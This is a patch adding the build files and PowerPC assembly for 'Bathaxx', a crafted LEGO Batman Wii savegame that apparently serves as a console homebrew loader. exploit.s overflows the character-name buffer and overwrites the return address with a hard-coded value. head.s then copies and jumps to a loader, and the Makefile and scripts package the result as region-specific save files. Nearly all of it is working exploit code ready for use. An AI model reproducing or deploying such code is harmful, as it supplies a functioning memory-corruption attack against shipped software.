$(Q)$(MAKE) -C loader
$(Q)$(MAKE) -C twilight
$(Q)$(MAKE) -C lego
+ $(Q)$(MAKE) -C batman
FORCE:
$(MAKE) -C loader clean
$(MAKE) -C twilight clean
$(MAKE) -C lego clean
+ $(MAKE) -C batman clean
--- /dev/null
+# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
+# This code is licensed to you under the terms of the GNU GPL, version 2;
+# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
+
+
+# Configuration:
+
+# What toolchain prefix should we use
+CROSS ?= broadway-
+
+# Where are the tools (http://git.infradead.org/users/segher/wii.git)
+TOOLS ?= $(HOME)/wii/segher
+
+# End of configuration.
+
+
+
+# Set CC, LD, OBJCOPY based on CROSS, unless they are set already
+
+ifeq ($(origin CC), default)
+ CC := $(CROSS)gcc -m32
+endif
+ifeq ($(origin LD), default)
+ LD := $(CROSS)ld
+endif
+OBJCOPY ?= $(CROSS)objcopy
+
+
+# The compiler flags we need.
+
+CFLAGS := -Wall -W -Os -ffreestanding -mno-eabi -mno-sdata -mcpu=750
+
+
+# Build with "V=1" to see the commands executed; be quiet otherwise.
+
+ifeq ($(V),1)
+ Q :=
+else
+ Q := @
+ MAKEFLAGS += --no-print-directory
+endif
+
+
+targets := rlbp.bin rlbj.bin rlbe.bin
+
+ppms := $(targets:%.bin=%-icon.ppm) rlb-banner.ppm
+assets := title.bin $(ppms)
+
+loader := ../loader/loader.bin
+
+
+titleid = $(shell perl titleid.pl $(1))
+
+
+define twintig
+ D=$(call titleid,$(1)); \
+ $(TOOLS)/twintig $$D $@ toc-$1
+endef
+
+
+all: $(targets)
+
+$(targets): %.bin: toc-% FILE_V28 $(assets)
+ @echo " TWINTIG $@"
+ $(Q)$(call twintig,$*)
+
+FILE_V28: head.bin exploit.bin $(loader)
+ @echo " LEGOSTACK $@"
+ $(Q)./pack.sh $@ $^
+ $(Q)$(TOOLS)/lego-cksum $@
+
+head.bin: head.elf
+ @echo " OBJCOPY $@"
+ $(Q)$(OBJCOPY) -Obinary $< $@
+
+exploit.bin: exploit.elf
+ @echo " OBJCOPY $@"
+ $(Q)$(OBJCOPY) -Obinary $< $@
+
+exploit.elf: lego.lds exploit.o
+ @echo " LINK $@"
+ $(Q)$(LD) -T $^ -o $@
+
+head.elf: head.o
+ @echo " LINK $@"
+ $(Q)$(LD) -e 0 $< -o $@
+
+exploit.o: exploit.s
+ @echo " ASSEMBLE $@"
+ $(Q)$(CC) $(CFLAGS) -c $< -o $@
+
+head.o: head.s head.b
+ @echo " ASSEMBLE $@"
+ $(Q)$(CC) $(CFLAGS) -c $< -o $@
+
+title.bin: ../.version
+ @echo " TITLEBIN $@"
+ $(Q)perl make-title-bin.pl > $@
+
+../.version: FORCE
+ $(Q)$(MAKE) -C .. .version
+
+$(ppms): %.ppm: %.png
+ @echo " PPM $@"
+ $(Q)convert $< $@
+
+$(loader): FORCE
+ $(Q)$(MAKE) -C ../loader
+
+FORCE:
+
+clean:
+ -rm -f $(targets) FILE_V28
+ -rm -f exploit.bin exploit.elf exploit.o
+ -rm -f head.bin head.elf head.o
+ -rm -f title.bin
--- /dev/null
+# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
+# Copyright 2011 Bernhard Urban <lewurm@gmail.com>
+# This code is licensed to you under the terms of the GNU GPL, version 2;
+# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
+
+ .section .start,"ax"
+ retadr = 0x90394140
+
+ # The return addr for the nintendo loader is a bit different as for 3rd
+ # party loaders. In fact, it depends which value is set by the apploader at
+ # 0x8000002c:
+ # - 0x0: return address is 0x90394140 (some 3rd party loader, e.g. gecko os)
+ # - 0x23: return address is 0x90394000 (set by the sysmenu loader by nintendo)
+ # 0B ver: 0x90394100
+ # to make both work, we insert some no op's here
+ .fill (0x140/0x4), 4, 0x60000000
+
+start:
+ # Set up a stack frame.
+ lis 1,0x8080 ; li 0,0 ; stwu 0,-64(1)
+
+ # Stop audio and video.
+ lis 0,audio_stop@h ; ori 0,0,audio_stop@l ; mtctr 0 ; bctrl
+ lis 0,video_stop@h ; ori 0,0,video_stop@l ; mtctr 0 ; bctrl
+
+ # Move code into place; a generous 32kB, starting at 64kB in
+ # the save file.
+
+ lis 3,main@h ; ori 3,3,main@l ; addi 5,3,-4
+ lis 4,(retadr-4)@h ; ori 4,4,(retadr-4)@l
+ # Calculate proper offset for the loader in memory
+0: lbzu 0,4(4); cmpwi 0,0x60 ; beq 0b
+ addi 4,4,-4; addi 4,4,end-start
+
+ li 0,0x2000 ; mtctr 0
+0: lwzu 0,4(4) ; stwu 0,4(5) ; bdnz 0b
+
+ # Sync caches on it.
+ li 0,0x0400 ; mtctr 0 ; mr 5,3
+0: dcbst 0,5 ; sync ; icbi 0,5 ; addi 5,5,0x20 ; bdnz 0b
+ sync ; isync
+
+ # Go for it!
+ mtctr 3 ; bctr
+end:
--- /dev/null
+# Copyright 2011 Bernhard Urban <lewurm@gmail.com>
+# This code is licensed to you under the terms of the GNU GPL, version 2;
+# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
+
+ retadr = 0x90394140
+0:
+ # stolen from some savegame found in teh intertube
+ .incbin "head.b"
+
+ # give the char a name
+ .ascii "you won't see this " # len = 0x14
+
+ # smash it \o/ 0x1f0+0x4 bytes all in all...
+ .fill (0xf4/4), 4, 0x11111111
+
+ # unlock the character (somewhere here actually...)
+ .fill (0x10/4), 4, 0x90c10104
+
+ # add more padding...
+ .fill (0xdc/4), 4, 0x11111111
+
+ # now we at the actual vuln return address
+ # just point to the loader of the loader (= content of exploit.s)
+ .long retadr
+
+ # alternatively you can put the code here too and jump into the stack,
+ # however then you have to take care for nullbytes in the resulting
+ # bytecode, which is a way too tedious. so we just take the further slot for
+ # it :-) (LEGO devs are nice ppl, heh)
+
+ .fill 0x10000 - (. - 0b)
--- /dev/null
+/* Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
+ This code is licensed to you under the terms of the GNU GPL, version 2;
+ see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt */
+
+OUTPUT_FORMAT("elf32-powerpc")
+OUTPUT_ARCH(powerpc:common)
+
+SECTIONS {
+ audio_stop = 0x8009cfa0;
+ video_stop = 0x800ab190;
+
+ main = 0x90000020;
+
+ .twilight 0x90394000:
+ {
+ rlb*.o(.start)
+ *(.text)
+ *(.rodata .rodata.*)
+ *(.data)
+ *(.bss)
+ }
+}
--- /dev/null
+#!/usr/bin/perl
+sub printline {
+ my $x = shift;
+ chomp $x;
+ $x .= "\0" x 32;
+ $x = substr $x, 0, 32;
+ $x =~ s/(.)/\0$1/g;
+
+ print $x;
+}
+
+$name = '"Bathaxx" by lewurm';
+$version = `cat ../.version`;
+
+printline $name;
+printline $version;
--- /dev/null
+#!/bin/bash
+TARGET=$1; shift
+cat $* /dev/zero | dd bs=1024 count=128 2>/dev/null > $TARGET
--- /dev/null
+#!/usr/bin/perl
+print "00010000", map { sprintf "%02x", ord uc } split //, $ARGV[0];
--- /dev/null
+title.bin
+rlb-banner.ppm
+rlbe-icon.ppm
+FILE_V28 FILE_V28
--- /dev/null
+title.bin
+rlb-banner.ppm
+rlbj-icon.ppm
+FILE_V28 FILE_V28
--- /dev/null
+title.bin
+rlb-banner.ppm
+rlbp-icon.ppm
+FILE_V28 FILE_V28